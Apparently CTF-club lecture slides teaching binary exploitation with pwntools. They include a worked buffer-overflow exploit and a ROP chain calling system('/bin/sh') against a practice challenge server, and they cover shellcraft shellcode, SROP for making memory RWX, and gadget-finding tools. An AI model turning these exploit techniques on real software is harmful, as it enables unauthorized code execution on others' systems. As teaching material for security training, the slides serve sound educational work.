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Challenge

babybof

This is a simple buffer overflow challenge. Both binary and source code are provided on
our website under Material. Once you have a working exploit, you can run it against the
server.
There are two flags for this challenge, one is easier to get, while the other is in a file
called flag2. First one to claim a flag gets the right to present their exploit ;)
Hints: For flag1, you just need to “call” the win function. For flag2, you need to get a
shell.
Files: babybof.zip
Server: spclr.ch 1337
Author: Robin Jadoul
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https://flagbot.ch/babybof.zip


Getting Flag 1

I Figure out overflow length
I by disassembling the binary and reversing it, or
I by manually trying different string lengths until we get a segfault

I Figure out address of win function

I Somehow send those bytes to the server / as input locally
I Manually attach the debugger if something breaks

I Manually set breakpoints every time
I Takes long to set up

Final result looks like this: echo -ne '\xf4AAAAAAAAA\x92\x11\x40' | ./bof
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Automate all the Things!

exe = context.binary = ELF("./bof")

io = local()

crash_str = b"\xf4" + cyclic(16)

io.send(crash_str)

io.shutdown()

io.wait()

core = Coredump("./core")

offset = cyclic_find(p64(core.fault_addr)) + 1

payload = fit({ 0: b"\xf4", offset: exe.symbols.win })

io = start()

io.send(payload)

io.shutdown()

io.stream()
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Getting Flag 2

I Can start with findings from flag 1
I Need to get a shell, hence call system

I system was already called before, so it’s inside the GOT
I we need to call system with an argument, so set %rdi to the address of a string with

"/bin/sh" !

I Can use the following ROP chain to achive this:
I 0x40131b: pop rdi; ret

I 0x4040a0: Value we want %rdi to have, i.e. some read/writable memory (here, bss)

I 0x401060: gets(0x4040a0)

I 0x40131b: pop rdi; ret

I 0x4040a0: Like above
I 0x401040: system(0x4040a0)

I After our ROP chain, we send "/bin/sh" , the input for our gets call.
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Automate Flag 2

# ... from before

rop = ROP(exe)

rop.gets(exe.bss(0x20))

rop.system(exe.bss(0x20))

log.info("BSS at 0x%x", exe.bss())

print(rop.dump())

payload = fit({ 0: b"\xf4", offset: rop.chain() })

log.info("Payload: %s", payload)

io = start()

io.sendline(payload)

io.sendline(b"/bin/sh\0")

io.interactive()
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pwntools
Basics
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What is pwntools?

I Python library that automates a lot of exploit writing / creating
I Also greatly helps running exploits

I Can automatically attach a debugger
I Connects to remote or start binary locally depending on arguments
I Simplifies shellcoding, ROPing, etc.

I Preinstalled on the virtual machine
I Install it on the host with pip3 install pwn

I (or sudo pip3 install pwn )
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Basic Script (Documentation)
Generate a template by running (inside the directory bof is located in)
pwn template --host spclr.ch --port 1337 bof > exploit.py :

from pwn import * # set up the library and import everything

exe = context.binary = ELF('bof') # will be explained later

# setup host and port for when executing against remote server

host = args.HOST or 'spclr.ch'

port = int(args.PORT or 1337)

args contains command-line arguments passed to the script in the form:

python3 exploit.py DEBUG HOST=server.com PORT=1234 .
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http://docs.pwntools.com/en/stable/commandline.html#pwn-template


Basic Script (Documentation)

def local(argv=[], *a, **kw):

if args.GDB:

return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

else:

return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):

io = connect(host, port)

if args.GDB:

gdb.attach(io, gdbscript=gdbscript)

return io

I start binary locally or connect to remote

I attach gdb if GDB specified on command line

I additional arguments passed along, see process and connect (alias for remote)
for details on these.

Leonardo Galli November 2, 2021 11 / 46

http://docs.pwntools.com/en/stable/commandline.html#pwn-template
http://docs.pwntools.com/en/stable/tubes/processes.html#pwnlib.tubes.process.process
http://docs.pwntools.com/en/stable/tubes/sockets.html#pwnlib.tubes.remote.remote


Basic Script (Documentation)

def start(argv=[], *a, **kw):

if args.LOCAL:

return local(argv, *a, **kw)

else:

return remote(argv, *a, **kw)

I decides whether to connect to remote or start binary locally

I controlled by specifying LOCAL on command line

I can add more arguments with argv

I additional arguments passed along
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Basic Script (Documentation)

gdbscript = '''

tbreak main

continue

'''.format(**locals())

io = start()

I setup gdbscript (gdb commands run on attach)

I call start , which creates a tube object

I tube is used to “communicate” with the process / remote server

I ready to write the exploit now
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Context (Documentation)

I pwntools uses global variable context to control many settings

I shouldn’t need to change any, except maybe context.terminal
I set to string with path to your terminal
I if you need to provide arguments to your terminal, set to array:

["/path/to/terminal", "arg1", "--flag", "value"]

I by setting context.binary , most other settings are automatically inferred
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http://docs.pwntools.com/en/stable/context.html


Packing / Unpacking (Documentation)

I used for converting between numbers and strings

I convert number into string (pack) with pX(0x100) , where X is the number of

bits the resulting string should have (8, 16, 32, and 64 are valid)

I automatically uses correct endianness (if context.binary was set)

I convert string into number (unpack) with uX(b"\x01\x00")
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http://docs.pwntools.com/en/stable/util/packing.html


Packing – Continued (Documentation)
I create a payload with fit (alias for flat )
I pass either array of values (can either be strings directly, or numbers) or dictionary
I keys in dictionary are relative offsets specifying where to place corresponding values
I arguments can be arbitrarily nested
I any bytes that are not specified will be filled with data from cyclic

I Example, produces "\xfe\x00\x00\x00baaaasdf" :

fit({

0: 0xfe, # packed as 4-byte little-endian integer (uses context)

4: { # offset by 4 from start

4: "asdf" # offset by 4 from start of this dictionary,

# so offset by 8 from absolute start.

# anything not specified (e.g. bytes 4-7) will be filled

}

})
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cyclic (Documentation)

I use cyclic(128) to create a string of length 128 whose subsequences are all
unique

I useful to identify how many bytes you need to overflow

I for example, if echo "ABCDEFGH" | ./vuln crashes at 0x48474645, 4 bytes
of overflow before saved %rip

I use with cyclic_find(0x48474645) to identify offset in string returned by

cyclic (use with corefile explained later)

I Example:

io.send(cyclic(128)) # segfault at 0x61616164616161

offset = cyclic_find(0x61616164616161) # offset = 9

io.send("A"*offset + payload) # next run, use offset
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http://docs.pwntools.com/en/stable/util/cyclic.html


Logging and Pausing (Documentation)

I Not recommended to use print statements, has caused me issues in the past

I use log for a ready-to-use, nice-looking logger

I different levels with log.debug, log.info, log.warn, log.error (debug

is off by default, enabled when DEBUG is on command line)
I works like printf for formatting, for example:

I log.info("Leaked address 0x%x", my_address_as_a_number) :

[+] Leaked address 0x7ff0123998

I log.warn("Got flag: %s", flag) :

[!] Got flag: b'flagbot{hello_there}'

I use pause(n = None) to make the script pause for n seconds or until key

pressed (indefinitely if no argument provided)
I useful for manually attaching something, e.g. strace
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pwntools
Tubes
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Tube Basics (Documentation)

I generic interface to talk to remote server or local binary

I buffers input and output, which can sometimes lead to issues

bytes vs. str

Usually, pwntools functions accept both bytes and str as arguments. However,

most functions return bytes , which you cannot easily concatenate with a string.

Hence, it is recommended to always work with bytes. This mostly entails writing string
literals as b"Hello bytes" , instead of "Hello str" .
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http://docs.pwntools.com/en/stable/tubes.html


Tube Reading (Documentation)

I recvall() : receives until EOF reached

I recv(numb = 4096) : receives up to numb bytes and returns as soon as
anything is available

I recvb(numb) : receives exactly numb bytes

I recvpred(pred) : receives until pred(all_bytes) is true

I recvregex(regex) : receives until regex matches any part of the bytes

I recvuntil(delims) : receive until one of delims is found
I used very often, for example to read until there is a prompt
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http://docs.pwntools.com/en/stable/tubes.html#pwnlib.tubes.tube.tube.recv


Tube Reading (Documentation)

I recvline() : receives until first newline encountered, returns bytes including
newline

I recvlines(num) : receives up to num lines and rurns them in an array

I recvline_name() :

I name is any of pred, regex, startswith, endswith, contains

I pred, regex works like with the equivalent recv calls

I startswith, endswith, contains receive until a line matches

Leonardo Galli November 2, 2021 19 / 46

http://docs.pwntools.com/en/stable/tubes.html#pwnlib.tubes.tube.tube.recv


Tube Reading (Documentation)

I all functions accept optional timeout parameter

I if set, function will return b"" after that many seconds

I all functions also have an alias, with recv replaced by read

I can append S to the function names to get a str back, e.g. recvlineS
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Tube Writing (Documentation)

I send(data) : sends data

I sendafter(delim, data) : combination of recvuntil(delim) and

send(data) , returns received data

I sendlineafter(delim, data) : same thing, but with sendline(data)

I sendthen(delim, data) : combination of send(data) and

recvuntil(delim) , returns received data
I very useful, often you send some data and wait on a response

I sendline(data) : send data and add a newline at the end
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Tube Misc

I interactive() : opens an interactive prompt, useful after you got shell
I can safely use [ctrl-c] to terminate the function and continue with your script
I useful to manually enter some information (e.g. proof of work)

I stream() : like interactive, but just streams everything to stdout

I shutdown() : closes the sending side of the tube
I useful in some cases, e.g. when you want to send an EOF, without completely closing

the tube and thus loosing the ability to receive data
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Tube Example

log.info("Menu: %s", io.recvuntil("> "))

# [+] Menu: Welcome to Note Keeper 1.0

# 1) Add Note

# 2) Read Note

# 3) Delete Note

# >

log.info(io.sendlinethen("Contents: ", "1"))

# [+] Note Contents:

log.info(io.sendlinethen("> ", "Hello World"))

# [+] Added Note at index 0

# 1) ... (menu again)

log.info(io.sendlinethen("Index: ", "2"))

# [+] Index:

log.info(io.sendlinethen("> ", "0"))

# [+] Note 0: Hello World

# 1) ... (menu again)
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pwntools
Working with Binaries
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ELF (Documentation)

I get various information from an ELF file (executable file on linux)

I extract address of functions, variables, etc. with exe.symbols

I can be accessed as a dictionary or just dot syntax

exe.symbols.main == exe.symbols["main"]

I GOT and PLT can be accessed via exe.got and exe.plt respectively

I get offset into BSS with exe.bss(offset)
I useful if you need a place to store data, but make sure to use an offset of at least 0x20
I usually, binaries store information about stdin/stdout at the start of BSS!

I all functions from packing / unpacking are available to call on an ELF
I first argument now, is starting address though
I useful to read / write numbers at a certain address
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http://docs.pwntools.com/en/stable/elf/elf.html#module-pwnlib.elf.elf


Example with Leaking

I set address to change the base address where it is loaded

I useful with an info leak and you want a symbol location, for example:

libc = exe.libc

# ... (exploit that leads to info leak)

leak = io.recvn(8)

printf_leaked = u64(leak)

log.info("Leaked address of printf: 0x%x", printf_leaked)

libc.address = printf_leaked - libc.symbols.printf # calculate base

system_addr = libc.symbols.system

log.info("system is at 0x%x", system_addr)

# ... (run exploit to call system_addr)
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Corefile (Documentation)
I coredumps are generated by the os when something goes wrong
I enable them temporarily with

echo "core" | sudo tee /proc/sys/kernel/core_pattern and

ulimit -c unlimited

I can be loaded in pwntools with core = Coredump('./core')

I gives you access to the registers core.registers and e.g. faulting address

core.fault_addr when crash occurred
I use in combination with cyclic to automatically determine buffer overflow offset:

io.sendline(cyclic(128))

io.wait() # wait on crash

core = Coredump('./core')

offset = cyclic_find(core.fault_addr)

# offset is how many bytes till you start overwriting saved rip
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pwntools
Shellcoding
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What is Shellcode?

I small piece of - usually - handwritten assembly code

I often used for getting a shell more easily
I write final assembled machine code into executable area, then make execution jump

to there
I works well if you already have a writable and executable section (not often anymore)
I otherwise, you first have to change protection yourself before executing
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Shellcraft (Documentation)

I assembly is written in intel syntax

I shellcraft is pwntools module containing functions that are used a lot

I functions all return a string of assembly code

I call them with shellcraft.func() for the default architecture or

shellcraft.amd64.func() for a specific one
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http://docs.pwntools.com/en/stable/shellcraft/amd64.html


Useful Shellcraft Functions (Documentation)

I echo(string) : write string to stdout, useful for debugging (or outputting flag)

I syscall(num, ...) : execute syscall num, arguments can also be C constants

(e.g. 'SYS_read', 'PROT_WRITE' ) or registers (e.g. 'rsp', 'eax' )

I pushstr(string, append_null=True) : pushes string onto the stack without

using null bytes or newlines
I extremely useful, don’t have to worry about your input being cutoff

I sh() : gives you a shell

shellcraft.sh()

This function ensures all parameters of the execve syscall are set correctly and pushes
"/bin/sh" onto the stack. While this is nice, it uses a lot of bytes for all of this.

Hence, for some challenges, you are better of writing your own trimmed down version.
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Shellcraft Example

s = "Hello from syscall!"

sc = shellcraft.pushstr(s)

# rsp points to start of s on stack

sc += shellcraft.syscall("SYS_write",

1, "rsp", len(s)+1)

log.info("Shellcode: %s", sc)

# [+] Shellcode: /* push 'Hell ...

/* push 'Hello from syscall!\x00' */

push 0x1010101 ^ 0x216c6c

xor dword ptr [rsp], 0x1010101

mov rax, 0x6163737973206d6f

push rax

mov rax, 0x7266206f6c6c6548

push rax

/* call write(1, 'rsp', 20) */

push SYS_write /* 1 */

pop rax

push 1

pop rdi

push 0x14

pop rdx

mov rsi, rsp

syscall
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Assembling Shellcode (Documentation)

I use asm('mov eax, 0') to turn any assembly into bytes of machine code

I architecture and os either through context or arch and os keyword arguments

I usually use combination of shellcraft functions and custom assembly

I labels work as well, example:

# reuse sc from before

sc += """

.loop: /* infinite loop */

jmp .loop

"""

asc = asm(sc)

log.info("Assembled: %s", asc)

# [+] Assembled: b'hmm \x01\x814\x01\x01\x01\x01H\xb8om syscaPH\xb8He...'
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pwntools
ROP
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ROPing can be cumbersome

I if there is no win function, we must find gadgets to set arguments for other
functions

I in the most extreme case, need to manually make syscalls for reading, writing, etc.
I happens, if no useful functions from libc are imported and we do not have a leak

I pwntools can automate a lot for us!
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ROP (Documentation)

I initialize with rop = ROP(exe, base=stack_addr) (only specify base if

known)

I add calls to our chain with rop.call(name_or_addr, ...)

I arguments can also be register names, e.g. ’rsp’
I can also directly use rop.name(...) , e.g. rop.read(0, exe.bss(), 0x20)

I possible to call syscalls not in binary, e.g. above example even if no read function in
binary (pwntools automatically tries an SROP)

I inspect chain with rop.dump()

I convert chain to bytes with rop.chain()

I Note: add enough characters in front of rop.chain() , such that the first byte

of rop.chain() overwrites first byte of saved %rip
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http://docs.pwntools.com/en/stable/rop/rop.html


Example ROP

rop = ROP(exe)

rop.gets(exe.bss(0x20))

rop.system(exe.bss(0x20))

log.info("Chain: %s", rop.dump())

# [+] Chain: 0x0000: 0x40131b pop rdi; ret

# 0x0008: 0x4040a0 [arg0] rdi = stderr

# 0x0010: 0x401060 gets

# 0x0018: 0x40131b pop rdi; ret

# 0x0020: 0x4040a0 [arg0] rdi = stderr

# 0x0028: 0x401040 system
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Sigreturn Oriented Programming (Documentation)

I What can we do, if we only control the %rax register and nothing else?

I The only option is a syscall, but which one?

rt sigreturn

Intended to be used at the end of a signal handler. Kernel saves registers of when signal
occurred on stack. When rt_sigreturn is called, all registers are restored by the

kernel.
We can abuse this, to set every register (including %rip)!

Limitation: Every register - including %rsp - needs to be set! Hence, we need to make
sure, %rsp points to something useful and ideally more ret gadgets.
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Sigreturn Oriented Programming (SROP) (Documentation)

I create a new frame with frame = SigreturnFrame()

I populate its registers, e.g. frame.rax = 0x1
I usually you want to use this for a syscall
I therefore, you want to set %rax to the syscall number and %rip to a gadget

containing syscall; ret (see syscall table for syscalls and their arguments)

I often you want to use mmap (create new memory) or mprotect (change

memory permissions)
I allows you to easily shellcode

I add it to your rop: rop.raw(frame)
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http://docs.pwntools.com/en/stable/rop/srop.html
https://filippo.io/linux-syscall-table/


Example SROP

# setup rop, so that rax = constants.SYS_rt_sigreturn before here

rop.call(syscall_ret_gadget) # execute rt_sigreturn

frame = SigreturnFrame() # frame to create RWX memory

frame.rax = constants.SYS_mmap

frame.rdi = 0x100000 # address

frame.rsi = 0x1000 # size

frame.rdx = constants.eval("PROT_READ | PROT_WRITE | PROT_EXEC") # RWX

frame.rip = syscall_ret_gadget

frame.rsp = 0x100000 # does not work here!

rop.raw(frame)

log.info("Chain: %s", rop.dump())

# [+] Chain: 0x0000: 0x400000 0x400000()

# 0x0008: 0xf SYS_rt_sigreturn

# 0x0010: 0x400010 0x400010()

# 0x0018: 0x0 uc_flags # start of frame

# ...

# 0x0108: 0x0 sigmask # end of frame
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ropper
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ropper (Documentation)

I pwntools often fails at finding gadgets

I ropper can help, provides a nice overview of all gadgets

I can also search specific gadgets for you

I preinstalled on the virtual machines

I run ropper -f program to dump a list of found gadgets
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ropium
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ropium (Documentation)

I does not have a nice list of gadgets
I however, finds arbitrary chains of gadgets for you

I for example, we want to set %rax = 0x10
I it finds gadget for setting %rbx: pop rbx; ret

I then finds gadget for setting %rax = %rbx: mov rax, rbx; ret

I will be installed on virtual machines, if you update them
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Further Readings
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More pwntools

I pwntools Tutorials

I Hashes with pwntools

I Bit Fiddeling (xor, base64, bits, etc.)
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https://github.com/Gallopsled/pwntools-tutorial
http://docs.pwntools.com/en/stable/util/hashes.html
http://docs.pwntools.com/en/stable/util/fiddling.html


Challenge

babyrop

Oh no! Our fibonacci calculator is getting exploited, can you figure out how? I heard it
had something to do with negative numbers...
Hints: This binary has only readable memory, so you probably want to remove that limit
;) You will probably have to use a sigreturn frame for this, since there are not enough
gadgets for all registers. Also, setting %rax is gonna require some effort :)
Files: babyrop.zip
Server: spclr.ch 1338
Author: Robin Jadoul
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